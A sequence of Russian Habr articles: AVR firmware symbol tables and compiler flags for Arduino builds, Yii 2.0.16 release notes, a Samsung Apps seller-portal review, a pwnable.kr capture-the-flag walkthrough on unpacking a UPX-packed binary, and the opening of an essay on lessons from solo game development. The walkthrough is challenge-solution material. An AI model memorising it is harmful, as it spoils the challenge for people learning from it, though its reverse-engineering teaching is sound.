00800100 l d .data 00000000 .data
00000000 l d .text 00000000 .text
00800122 l d .bss 00000000 .bss
00000000 l d .stab 00000000 .stab
00000000 l d .stabstr 00000000 .stabstr
00000000 l d .comment 00000000 .comment
00000000 l d .note.gnu.avr.deviceinfo 00000000 .note.gnu.avr.deviceinfo
00000000 l d .debug_info 00000000 .debug_info
00000000 l d .debug_abbrev 00000000 .debug_abbrev
00000000 l d .debug_line 00000000 .debug_line
00000000 l d .debug_str 00000000 .debug_str
00000000 l df *ABS* 00000000 WInterrupts.c
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
00000112 l F .text 00000002 nothing
00800100 l O .data 00000004 intFunc
00000000 l df *ABS* 00000000 HardwareSerial.cpp
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
00000000 l df *ABS* 00000000 IPAddress.cpp
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
0000078a l F .text 00000016 _GLOBAL__sub_I_IPAddress.cpp
008001c8 l O .bss 00000006 _ZL11INADDR_NONE
00000000 l df *ABS* 00000000 Tone.cpp
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
0080011c l O .data 00000001 _ZL9tone_pins
000000b8 l O .text 00000001 _ZL21tone_pin_to_timer_PGM
00000000 l df *ABS* 00000000 led-blink.cpp
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
00000000 l df *ABS* 00000000 wiring_digital.c
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
00000304 l F .text 00000052 turnOffPWM
00000000 l df *ABS* 00000000 HardwareSerial0.cpp
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
00000694 l F .text 0000005a _GLOBAL__sub_I_HardwareSerial0.cpp
00000000 l df *ABS* 00000000 _clear_bss.o
000000ea l .text 00000000 .do_clear_bss_start
000000e8 l .text 00000000 .do_clear_bss_loop
00000000 l df *ABS* 00000000 wiring.c
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
00800122 l O .bss 00000001 timer0_fract
00000000 l df *ABS* 00000000 main.cpp
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
00000000 l df *ABS* 00000000 Print.cpp
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
0000081e l F .text 0000001e _ZN5Print5writeEPKc.part.2
00000000 l df *ABS* 00000000 _udivmodsi4.o
00000ac6 l .text 00000000 __udivmodsi4_ep
00000aac l .text 00000000 __udivmodsi4_loop
00000000 l df *ABS* 00000000 _exit.o
00000af2 l .text 00000000 __stop_program
00000000 l df *ABS* 00000000 hooks.c
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
0000010e w .text 00000000 __vector_22
00800127 g O .bss 00000004 timer0_overflow_count
0000094a g F .text 0000002a _Z6noToneh
00000772 g F .text 00000018 _ZN9IPAddressC1Ehhhh
000000ae g O .text 0000000a port_to_mode_PGM
00000114 g F .text 0000004e __vector_1
0000ffa0 g *ABS* 00000000 __DATA_REGION_LENGTH__
00800123 g O .bss 00000004 timer0_millis
00000442 g F .text 0000001c _ZN14HardwareSerial4peekEv
0000084a g F .text 00000098 _ZN5Print11printNumberEmh
000007c4 g F .text 0000005a _ZN5Print5writeEPKhj
00000068 g .text 00000000 __trampolines_start
008001cf g O .bss 00000002 timer2_pin_port
00000af4 g .text 00000000 _etext
0000042a g F .text 00000018 _ZN14HardwareSerial9availableEv
0000010e w .text 00000000 __vector_24
00000a34 g F .text 0000006c loop
000004c0 g F .text 00000042 _ZN14HardwareSerial17_tx_udr_empty_irqEv
0000010e w .text 00000000 __vector_12
000007a0 w F .text 00000002 initVariant
000006ee g F .text 00000084 _ZNK9IPAddress7printToER5Print
00000542 g F .text 0000008e _ZN14HardwareSerial5writeEh
0000010e g .text 00000000 __bad_interrupt
00000b16 g *ABS* 00000000 __data_load_end
0000010e w .text 00000000 __vector_6
008001d5 g O .bss 00000001 on
00000068 g .text 00000000 __trampolines_end
0000010e w .text 00000000 __vector_3
000003ce g F .text 0000005c digitalWrite
00000356 g F .text 00000078 pinMode
00000090 g O .text 00000014 digital_pin_to_port_PGM
0000010e w .text 00000000 __vector_23
00000af4 g *ABS* 00000000 __data_load_start
000000be g .text 00000000 __dtors_end
008001da g .bss 00000000 __bss_end
00000400 g *ABS* 00000000 __LOCK_REGION_LENGTH__
0000010e w .text 00000000 __vector_25
0000090a g F .text 00000040 _Z12disableTimerh
0000010e w .text 00000000 __vector_11
00000486 g F .text 0000001e _ZN14HardwareSerial17availableForWriteEv
000000be w .text 00000000 __init
000008fc g F .text 0000000e _ZN5Print5printEhi
00000772 g F .text 00000018 _ZN9IPAddressC2Ehhhh
000004a4 w F .text 0000001c _Z14serialEventRunv
00000502 g F .text 00000040 _ZN14HardwareSerial5flushEv
0000010e w .text 00000000 __vector_13
0000010e w .text 00000000 __vector_17
00000634 g F .text 0000004c __vector_19
00000974 g F .text 000000b8 __vector_7
0080012b g O .bss 0000009d Serial
00800104 w O .data 00000012 _ZTV14HardwareSerial
000000e0 g .text 00000010 .hidden __do_clear_bss
0000083c g F .text 0000000e _ZN5Print5printEc
00000680 g F .text 00000014 _Z17Serial0_availablev
00810000 g .stab 00000000 __eeprom_end
0000007c g O .text 00000014 digital_pin_to_bit_mask_PGM
00800116 w O .data 00000006 _ZTV9IPAddress
00000000 g .text 00000000 __vectors
00800122 g .data 00000000 __data_end
00000000 w .text 00000000 __vector_default
0000010e w .text 00000000 __vector_5
00000400 g *ABS* 00000000 __SIGNATURE_REGION_LENGTH__
00000ae4 g .text 0000000c .hidden __tablejump2__
0000028e g F .text 00000076 init
000000ba g .text 00000000 __ctors_start
000000ca g .text 00000016 .hidden __do_copy_data
0080011d g O .data 00000004 DELAY
00800122 g .bss 00000000 __bss_start
000007a2 g F .text 00000022 main
0000010e w .text 00000000 __vector_4
008001d6 g O .bss 00000004 time
00000244 g F .text 0000004a micros
008001ce g O .bss 00000001 timer2_pin_mask
00000000 w *ABS* 00000000 __heap_end
0000010e w .text 00000000 __vector_9
00000162 g F .text 0000004e __vector_2
00000400 g *ABS* 00000000 __USER_SIGNATURE_REGION_LENGTH__
0000010e w .text 00000000 __vector_21
0000010e w .text 00000000 __vector_15
000000a4 g O .text 0000000a port_to_output_PGM
000008e2 g F .text 0000001a _ZN5Print5printEmi
00000a2c g F .text 00000008 setup
008001da g .stab 00000000 __heap_start
000000be g .text 00000000 __dtors_start
000000be g .text 00000000 __ctors_end
000008ff w *ABS* 00000000 __stack
00800122 g .data 00000000 _edata
008001da g .stab 00000000 _end
0000010e w .text 00000000 __vector_8
00000068 g O .text 00000014 digital_pin_to_timer_PGM
00000af0 w .text 00000000 .hidden exit
0000045e g F .text 00000028 _ZN14HardwareSerial4readEv
00000aa0 g .text 00000044 .hidden __udivmodsi4
00010000 g *ABS* 00000000 __EEPROM_REGION_LENGTH__
00000af0 g .text 00000000 .hidden _exit
0000010e w .text 00000000 __vector_14
0000010e w .text 00000000 __vector_10
008001d1 g O .bss 00000004 timer2_toggle_count
000001b0 g F .text 00000094 __vector_16
00800100 g .data 00000000 __data_start
000005d0 g F .text 00000064 __vector_18
00000400 g *ABS* 00000000 __FUSE_REGION_LENGTH__
00020000 g *ABS* 00000000 __TEXT_REGION_LENGTH__
0000010e w .text 00000000 __vector_20
000000f0 g .text 00000016 .hidden __do_global_ctors
```
Теперь сравним со вторым проектом
**Таблица символов blink**
```
blink: формат файла elf32-avr
SYMBOL TABLE:
00800100 l d .data 00000000 .data
00000000 l d .text 00000000 .text
00800100 l d .bss 00000000 .bss
00000000 l d .comment 00000000 .comment
00000000 l d .note.gnu.avr.deviceinfo 00000000 .note.gnu.avr.deviceinfo
00000000 l d .debug_info 00000000 .debug_info
00000000 l d .debug_abbrev 00000000 .debug_abbrev
00000000 l d .debug_line 00000000 .debug_line
00000000 l d .debug_str 00000000 .debug_str
00000000 l df *ABS* 00000000
0000003e l *ABS* 00000000 __SP_H__
0000003d l *ABS* 00000000 __SP_L__
0000003f l *ABS* 00000000 __SREG__
00000000 l *ABS* 00000000 __tmp_reg__
00000001 l *ABS* 00000000 __zero_reg__
000000e0 l F .text 00000038 pinMode.constprop.1
000000a4 l O .text 00000014 digital_pin_to_bit_mask_PGM
00000090 l O .text 00000014 digital_pin_to_port_PGM
00000086 l O .text 0000000a port_to_mode_PGM
0000007c l O .text 0000000a port_to_output_PGM
00000118 l F .text 00000090 digitalWrite.constprop.0
00000068 l O .text 00000014 digital_pin_to_timer_PGM
000001a8 l F .text 00000076 init
0000021e l F .text 0000004a micros
00800105 l O .bss 00000004 timer0_overflow_count
0080010a l O .bss 00000004 time
00800109 l O .bss 00000001 on
00800101 l O .bss 00000004 timer0_millis
00800100 l O .bss 00000001 timer0_fract
00000000 l df *ABS* 00000000 _clear_bss.o
000000ce l .text 00000000 .do_clear_bss_start
000000cc l .text 00000000 .do_clear_bss_loop
00000000 l df *ABS* 00000000 _exit.o
00000370 l .text 00000000 __stop_program
000000dc w .text 00000000 __vector_22
000000dc w .text 00000000 __vector_1
0000ffa0 g *ABS* 00000000 __DATA_REGION_LENGTH__
00000068 g .text 00000000 __trampolines_start
00000372 g .text 00000000 _etext
000000dc w .text 00000000 __vector_24
000000dc w .text 00000000 __vector_12
000000dc g .text 00000000 __bad_interrupt
00000372 g *ABS* 00000000 __data_load_end
000000dc w .text 00000000 __vector_6
00000068 g .text 00000000 __trampolines_end
000000dc w .text 00000000 __vector_3
000000dc w .text 00000000 __vector_23
00000372 g *ABS* 00000000 __data_load_start
000000b8 g .text 00000000 __dtors_end
0080010e g .bss 00000000 __bss_end
00000400 g *ABS* 00000000 __LOCK_REGION_LENGTH__
000000dc w .text 00000000 __vector_25
000000dc w .text 00000000 __vector_11
000000b8 w .text 00000000 __init
000000dc w .text 00000000 __vector_13
000000dc w .text 00000000 __vector_17
000000dc w .text 00000000 __vector_19
000000dc w .text 00000000 __vector_7
000000c4 g .text 00000010 .hidden __do_clear_bss
00810000 g .comment 00000000 __eeprom_end
00000000 g .text 00000000 __vectors
00000000 w .text 00000000 __vector_default
000000dc w .text 00000000 __vector_5
00000400 g *ABS* 00000000 __SIGNATURE_REGION_LENGTH__
000000b8 g .text 00000000 __ctors_start
00800100 g .bss 00000000 __bss_start
000002fc g F .text 00000072 main
000000dc w .text 00000000 __vector_4
00000000 w *ABS* 00000000 __heap_end
000000dc w .text 00000000 __vector_9
000000dc w .text 00000000 __vector_2
00000400 g *ABS* 00000000 __USER_SIGNATURE_REGION_LENGTH__
000000dc w .text 00000000 __vector_21
000000dc w .text 00000000 __vector_15
000000b8 g .text 00000000 __dtors_start
000000b8 g .text 00000000 __ctors_end
000008ff w *ABS* 00000000 __stack
00800100 g .data 00000000 _edata
0080010e g .comment 00000000 _end
000000dc w .text 00000000 __vector_8
0000036e w .text 00000000 .hidden exit
00010000 g *ABS* 00000000 __EEPROM_REGION_LENGTH__
0000036e g .text 00000000 .hidden _exit
000000dc w .text 00000000 __vector_14
000000dc w .text 00000000 __vector_10
00000268 g F .text 00000094 __vector_16
000000dc w .text 00000000 __vector_18
00000400 g *ABS* 00000000 __FUSE_REGION_LENGTH__
00020000 g *ABS* 00000000 __TEXT_REGION_LENGTH__
000000dc w .text 00000000 __vector_20
```
Разница очевидна. Видно, что при компоновке core в отдельную библиотеку, компилятор включает в прошивку только реально используемые в ней части core. В частности, ни в том ни в другом случае мы не используем UART, однако в первой прошивке присутствуют классы для работы с ним. Уменьшение объема прошивки ключами компилятора следует обсудить отдельно, как и сами ключи
3. Ключи компилятора и линковщика
=================================
Опции компилятора:
* *-flto* — включает оптимизацию при компоновке. Функции в связанных объектных файлах линкуются так, как если бы они находились в пределах одной единицы трансляции
* *-fno-fat-lto-objects* — не создавать «жирных» объектных файлов, содержащих промежуточный язык, кроме объектного кода. Действует совместно с предыдущим ключом.
* *-fpermissive* — снижает уровень некоторых ошибок компилятора до уровня предупреждений. Может привести к генерации некорректного кода
* *-fuse-cxa-aexit* — использовать в деструкторах объектов функцию \_\_cxa-atexit() вместо atexit()
* *-ffunction-sections, -fdata-sections* — помещать каждую функцию и данные в отдельные секции, для оптимизации при последующей компоновке. Позволяет компоновщику включать в итоговый файл только реально используемые функции
* *-fno-threadsafe-statics* — не использовать потокобезопасные приемы работы со статическими членами классов. Имеет смысл, так как в контроллерах AVR единственный поток выполнения
* *-fno-exceptions* — не использовать обработку исключений
* *-fno-devirtualize* — не использовать «девиртуализацию». Если компилятор знает тип объекта, он может вызывать его виртуальные методы напрямую, не используя таблицу виртуальных функций. Данная опция выключает этот механизм
* *-MMD* — генерация отдельных правил сборки для каждой единицы трансляции, с созданием списка зависимостей для неё в файле \*.d (каждому файлу \*.c/\*.cpp соответствует файл с тем же именем и расширением \*.d, содержащий пути к зависимостям)
* *-DARDUINO\_AVR\_UNO, -DARDUINO\_ARCH\_AVR* — создают при предпроцессинге макроопределения ARDUINO\_AVR\_UNO и ARDUINO\_ARCH\_AVR, активирующие нужные направления условной компиляции исходников.
Опции линковщика:
* *-w* — отключение всех предупреждений
* *-Os* — оптимизация по размеру конечного файла
* *-Wl,--gc-sections* — активирует выборочную компоновку функций. В конечный файл включаются только используемые функции
* *-mmcu* — используемая модель контроллера
Как видно, все настройки сводятся к отключению примочек, используемых в прикладном программировании и повышающих безопасность кода, а так же направлены на максимальное уменьшение объема итоговой прошивки.
Выводы
======
Надеюсь, что данный текст расставляет все точки над «i». В платформе Arduino нет ничего сверхъестественного. Её архитектура направлена на сокрытие от начинающего разработчика всех механизмов, использование которых совершенно обычно для тех, кто использует для разработки ПО для AVR чистый C или ассемблер.
Кроме того, ардуинщики использующие линукс могут работать с удобством: эта и предыдущие статьи, в меру красноречия и компетентности их автора, освещают вопрос использования при разработке нормальной удобной IDE.
Надеюсь, что это информация оказалось полезной. В следующей статье, возможно, поговорим о возможностях отладки проектов AVR в Qt Creator
**P.S.:** Исходный код примера проекта из статьи [можно взять здесь](https://github.com/maisvendoo/qtcreator-arduino) | https://habr.com/ru/post/408379/ | null | ru | null |
# Yii 2.0.16
Команда PHP-фреймворка Yii выпустила версию 2.0.16, содержащую [более сотни исправлений и немного улучшений](https://github.com/yiisoft/yii2/blob/2.0.16/framework/CHANGELOG.md). Исправлены несколько проблем с безопасностью.
Ветка Yii 2.0 достигла заморозки [более чем год назад](https://www.yiiframework.com/news/156/yii-2-1-and-yii-2-0-feature-freeze), что означает что в неё принимаются главным образом исправления. Сделано это было чтобы позволить команде Yii сфокусироваться на Yii 3. В самом конце этого поста есть чуть больше информации про Yii 3.
В данный релиз вошли несколько изменений, которые могут повлиять на существующие приложения. Обязательно прочитайте [UPGRADE.md](https://github.com/yiisoft/yii2/blob/2.0.16/framework/UPGRADE.md).
Огромное спасибо [членам сообщества Yii](https://github.com/yiisoft/yii2/graphs/contributors), которые участвующим в разработке. Без вас такой масштабный проект был бы невозможен. Отдельное спасибо переводчикам, поддерживающим документацию в актуальном состоянии.
Ниже приведены наиболее интересные улучшения, которым всё-таки удалось просочиться в релиз. Полный список, как обычно, можно посмотреть в [CHANGELOG](https://github.com/yiisoft/yii2/blob/2.0.16/framework/CHANGELOG.md).
Active Record
-------------
Salem Ouerdani, @tunecino добавил behavior для optimistic locking.
Optimistic locking позволяет нескольким пользователям одновременно редактировать запись и избегать потенциальных конфликтов на стороне сервера. В случае, когда пользователь пытается сохранить правки на основе устаревших данных (потому что другой пользователь уже сохранился), кидается `StaleObjectException`, а обновление или удаление не делается.
Сам механизм такой блокировки был реализован в первых версиях Yii, но использовать его правильно было не так просто. Теперь просто.
Документацию можно найти в [официальном руководстве](https://www.yiiframework.com/doc/guide/2.0/en/db-active-record#optimistic-locks)
и [API OptimisticLockBehavior](https://www.yiiframework.com/doc/api/2.0/yii-behaviors-optimisticlockbehavior).
Миграции
--------
Консольный генератор миграций теперь по умолчанию использует префиксы таблиц. Если вы хотите изменить это, то можете выставить `yii\console\controllers\MigrateController::useTablePrefix` в `false` в конфиге консольных команд.
Базы данных
-----------
* Драйвер MySQL теперь поддерживает точность до доли секунды для временных типов (требуется MySQL >= 5.6.4).
* Драйвер Oracle теперь поддерживает сброс последовательностей.
Хелперы
-------
* `yii\helpers\Inflector` научился корректно работать с UTF-8.
* Добавлен флаг `yii\mutex\FileMutex::$isWindows` для шар Windows на гостевых машинах Unix.
* Объекты `yii\helpers\UnsetArrayValue`, `yii\helpers\ReplaceArrayValue` теперь могут быть восстановлены после сериализации при помощи `var_export()`.
GridView
--------
Добавлена опция `$filterOnFocusOut`, определяющая должна ли производиться фильтрация при потере фокуса.
jQuery
------
Теперь можно установить jQuery 3.3.
Mutex
-----
* Частота попыток получения блокировки `yii\mutex\FileMutex::acquireLock()` увеличена в том случае если предоставлен `$timeout`.
* Добавлена поддержка `$timeout` в `yii\mutex\PgsqlMutex::acquire()`.
Исправления безопасности
------------------------
Были исправлены две проблемы с безопасностью:
* CVE-2018-14578: обход проверки CSRF токена в `\yii\web\Request::getMethod()`
* CVE-2018-19454: лишнее логирование конфиденциальной информации в `\yii\log\Target`
Шаблоны приложений
------------------
* Конфиги Codeception были почищены как в шаблоне basic, так и в advanced.
* В шаблон Advanced добавлен простой конфиг для Docker.
* Шаблон Advanced теперь требует более новую версию Codeception, которая работает только начиная с PHP 7.0. Старые приложения будут работать как прежде.
Немного о Yii 3.0
-----------------
Следующей мажорной версией Yii будет 3.0. Подробный анонс будет позже, а пока кратко:
*Обновлённая архитектура*: фреймворк разбит на [отдельные пакеты](https://github.com/yiisoft/docs/blob/master/000-packages.md).
Это позволит собирать из них то, что вам нужно.
*JavaScript-независимый*: вместе с реорганизацией исходного кода Yii отвязывается от JavaScript-фреймворка в ядре.
Ключевые пакеты Yii не требуют jQuery.
*Совместимость с PSR*: Yii 3 будет следовать рекомендациям PHP-FIG. Уже реализованы многие PSR: логирование, кеш, DI и другие.
Yii 3.0 находится в стадии активной разработки. Подробный анонс будет сделан по достижению альфа-версии. | https://habr.com/ru/post/438394/ | null | ru | null |
# Скриншоты сервиса Samsung Apps
Samsung пытается продвигать собственный [сервис публикации](http://seller.samsungapps.com/) приложений для Android.
Можно сравнить функционал сервиса с [Google Play](https://play.google.com/store).
На главной странице профиля видна общая статистика скачиваний и комментарии/вопросы пользователей.
Главные отличия от Google Play:
— обязательная проверка приложений перед публикацией. Проверка занимает примерно неделю, в случае проблем, команда сертификации создаёт отчёт с описанием сбоя и добавляет видеоролик воспроизводящий проблему.
— требование делать отдельные запускаемые модули для разных групп устройств (видимо они считают что сделать приложение нормально работающее на разных экранах слишком сложно).
#### В общем списке можно посмотреть стадию проверки каждого приложения:
#### Статистика скачиваний по странам
#### Статистика по отдельному приложению для одной группы устройств:
#### Комментарии пользователей с оценками:
#### Вопросы пользователей:
#### Пример ответа пользователю:
#### Так выглядит [приложение](http://www.samsungapps.com/topApps/topAppsDetail.as?productId=G00007696428&listYN=Y) для потребителя:
[](http://www.samsungapps.com/topApps/topAppsDetail.as?productId=G00007696428&listYN=Y)
В левом верхнем углу видно выбранное устройство. Единой страницы для всех устройств нет, в результате даже дать кому-то ссылку уже является проблемой.
Например эта страница
<http://www.samsungapps.com/topApps/topAppsDetail.as?productId=G00007696428&listYN=Y>
позволяет скачать приложение на Galaxy S но никак не на Galaxy S3. Это очень неудобно.
#### Итого
Samsung Apps даёт более полную и подробную статистику и позволяет протестировать приложение даже не имея конкретной модели.
Судя по статистике, приложений скачивают больше чем в Google Play (для приложения из данной статьи скачиваний больше в 7-8 раз). Причём, наиболее активные регионы это Бразилия, Индия и пр.
На вопросы пользователей можно отвечать. В Google Play эта функция появилась недавно и не для всех.
Немного портит впечатление ужасный usability сайта. Трудно разобрать что и как делать даже при наличии FAQ и подробного описания.
UPD
судя по рассылке из Samsung, в магазине произошли небольшие изменения:
```
- The optimized devices for the application are recommend, and the multiple devices from the
recommended list can be registered at a time.
. Compatible OS : bada, Android
. Criteria for device recommendation : Resolution, API Level, and other conditions for
additional device classification
- Revised so that the item group ID, that is already in use for a specific application, can be used
for other applications.
- An option has been added so that re-uploading the binary file is not required when select Add
Device.
``` | https://habr.com/ru/post/146557/ | null | ru | null |
# Решение задания с pwnable.kr 04 — flag. Упакованные исполяемые файлы
В данной статье разберем: как и для чего применяется упаковка исполняемых файлов, как их обнаружить и распаковать, и решим 4-е задание с сайта [pwnable.kr](https://pwnable.kr/index.php).
**Организационная информация**Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
* PWN;
* криптография (Crypto);
* cетевые технологии (Network);
* реверс (Reverse Engineering);
* стеганография (Stegano);
* поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Упаковка исполняемых файлов
---------------------------
Упакованные файлы – это файлы, которые скрывают свой исходный код с помощью сжатия или шифрования. По мере выполнения, такой файл расшифровывает свой исходный код и копирует в другую секцию. Упаковщики обычно изменяют таблицу адресов импорта (IAT — Import Address Table) или таблицу просмотра импорта(ILUT — Import LookUp Table), а также заголовок.
Упаковка применяется по следующим причинам:
* упакованный файл занимает меньше места;
* для предотвращения обратной разработки программы;
* упаковка с шифрованием может использоваться и злонамеренно при создании вирусов, чтобы зашифровать и видоизменить код вируса для затруднения его обнаружения системами, основанными на сигнатурах.
Проводить анализ, упакована программа или нет, можно при помощи [PEid](https://ru.wikipedia.org/wiki/PEiD) или [DetectItEasy](http://ntinfo.biz/index.html). Для распаковки используются соответствующие программы или универсальные распаковщики, к примеру, [Quick Unpack](http://qunpack.ahteam.org/?p=458).
Известные упаковщики:
* [ASPack](http://www.asprotect.ru/aspack.html);
* [eXPressor](http://www.cgsoftlabs.ro/);
* [Mpress](http://www.matcode.com/mpress.htm);
* [PECompact](https://bitsum.com/portfolio/pecompact/);
* [PELock](https://www.pelock.com/products/pelock);
* [UPX](https://upx.github.io/);
* [PESpin](https://www.start64.com/index.php/64-bit-software/64bit-development/3052-pespin) .
Решение задания flag
--------------------
Нажимаем на иконку с подписью flag, и нам говорят, что мы можем скачать исполняемый файл.
Нам не дают исходный ход. Для анализа программы я буду использовать [Cutter](https://github.com/radareorg/cutter). Откроем Cutter, укажем путь к исполняемому файлу.
Наблюдаем очень странный граф программы и отсутствие функции main.
Проверим программу в DetectItEasy, который говорит, что наш файл упакован UPX.
Распакуем программу следующей командой.
```
upx -d flag
```
Теперь, если закинуть программу в Cutter, можно наблюдать функцию main и распакованные строки.
Видим строку с UPX. Найдем ее в списке строк.
Это и есть ответ. Как результат, получаем свои очки.
До встречи в следующих статьях!!!
Мы в телеграм канале: [канал в Telegram](https://t.me/RalfHackerChannel). | https://habr.com/ru/post/460028/ | null | ru | null |
# Уроки, полученные при создании первой игры, и почему я хочу написать свой движок
Недавно я выпустил свою первую игру [BYTEPATH](http://store.steampowered.com/app/760330/BYTEPATH/) и мне показалось, что будет полезно записать свои мысли о том, чему я научился в процессе её создания. Я разделю эти уроки на «мягкие» и «жёсткие»: под мягкими я подразумеваю идеи, связанные с разработкой ПО, жёсткие — это более технические аспекты программирования. Кроме того, я расскажу о том, почему хочу написать собственный движок.
Мягкие уроки
============
Сообщу ради контекста, что начал делать собственные игры примерно 5-6 лет назад и у меня есть 3 «серьёзных» проекта, над которыми я работал до выпуска первой игры. Два из эти проектов мертвы и полностью провалились, а последний я временно приостановил, чтобы поработать над BYTEPATH.
**Вот gif-анимации из этих проектов**
Первые два проекта провалились по разным причинам, но с точки зрения программирования они провалились (по крайней мере, как мне это видится) потому, что я слишком часто пытался быть слишком умным и заранее обобщал слишком многое. Большинство мягких уроков связано с этим провалом, поэтому важно было сказать об этом.
Преждевременное обобщение
-------------------------
Пока самый важный урок, который я извлёк из этой игры, заключается в том, что если существует поведение, которое повторяется для нескольких типов сущностей, то лучше по умолчанию копипастить его, а не выполнять слишком рано абстрагирование/обобщение.
На практике этого добиться очень сложно. Мы, программисты, приучены замечать повторения и стремимся как можно быстрее избавляться от них, но я заметил, что обычно этот импульс гораздо чаще создаёт проблемы, чем решает. Главная проблема, которую он создаёт, заключается в том, что обобщения часто неверны, а когда обобщение ошибочно, оно привязывает структуру кода к себе, и это гораздо сложнее исправить и изменить, чем при отсутствии обобщения.
Рассмотрим пример сущности, которая выполняет действия `ABC`. Поначалу мы кодируем `ABC` непосредственно в сущности, потому что нет никаких причин делать иначе. Но когда дело доходит до другой сущности, выполняющей `ABD`, мы анализируем всё и думаем «давай-ка возьмём `AB` из этих двух сущностней, и тогда каждая из них будет обрабатывать самостоятельно только `C` и `D`», что кажется вполне логичным, потому что мы абстрагируем `AB` и сможем повторно использовать их в других местах. Если новые сущности используют `AB` таким же образом, каким они определены, то это не проблема. Допустим, у нас есть `ABE`, `ABF` и так далее…
Но рано или поздно (и обычно это происходит раньше) появляется сущность, которой требуется `AB*`, почти похожее на `AB`, но с маленькой и несовместимой разницей. Тогда мы можем или изменить `AB` с учётом `AB*`, или создать совершенно новую часть, в которой будет содержаться поведение `AB*`. Если мы повторим такое упражнение несколько раз, то в первом случае мы придём к очень сложному `AB` со всевозможными переключателями и флагами для различных поведений, а во втором случае мы вернёмся на первую клетку поля, потому что все немного отличающиеся версии `AB` всё равно будут содержать кучу повторяющегося кода.
В основе этой проблемы лежит тот факт, что каждый раз, когда мы добавляем что-то новое или изменяем поведение чего-то старого, мы должны делать это с учётом существующих структур. Чтобы изменить что-то, мы должны всегда задумываться «это будет находиться в `AB` или в `AB*`?», и этот кажущийся простым вопрос является источником всех проблем. Так происходит потому, что мы пытаемся вставить что-то в существующую структуру, а не просто добавить новое и заставить это работать. Невозможно переоценить разницу в том, чтобы просто делать то, что нужно и тем, что приходится учитывать имеющийся код.
Поэтому я осознал, что поначалу гораздо проще по умолчанию выбирать копипастинг кода. В показанном выше примере у нас есть `ABC`, и чтобы добавить `ABD` мы просто скопипастим `ABC` и удалим часть `C`, заменив её на `D`. То же относится и к `ABE` с `ABF`, и когда нам нужно добавить `AB*`, мы просто снова копипастим `AB` и заменяем его на `AB*`. Когда мы добавляем в эту схему что-то новое, нам достаточно просто скопировать код оттуда, где уже выполняется похожее действие, и изменить его, не беспокоясь о том, как оно встроится в уже имеющийся код. Оказалось, что такой способ гораздо лучше в реализации и ведёт к меньшему количеству проблем, хотя и выглядит контринтуитивным.
Большинство советов не подходит разработчикам-одиночкам
-------------------------------------------------------
Между большинством советов программистам из Интернета и тем, что мне на самом деле приходится делать как одиночному разработчику, существует несовпадение контекстов. Причина этого в следующем: во-первых, большинство программистов работает в коллективе с другими людьми, поэтому обычно советы даются с этим предположением; во-вторых, бОльшая часть создаваемого людьми ПО должна существовать в течение очень долгого времени, но это не относится к инди-игре. Это означает, что большинство советов программистам практически бесполезно для области соло-разработки инди-игр, и что благодаря этому я могу делать многое то, что невозможно для других людей.
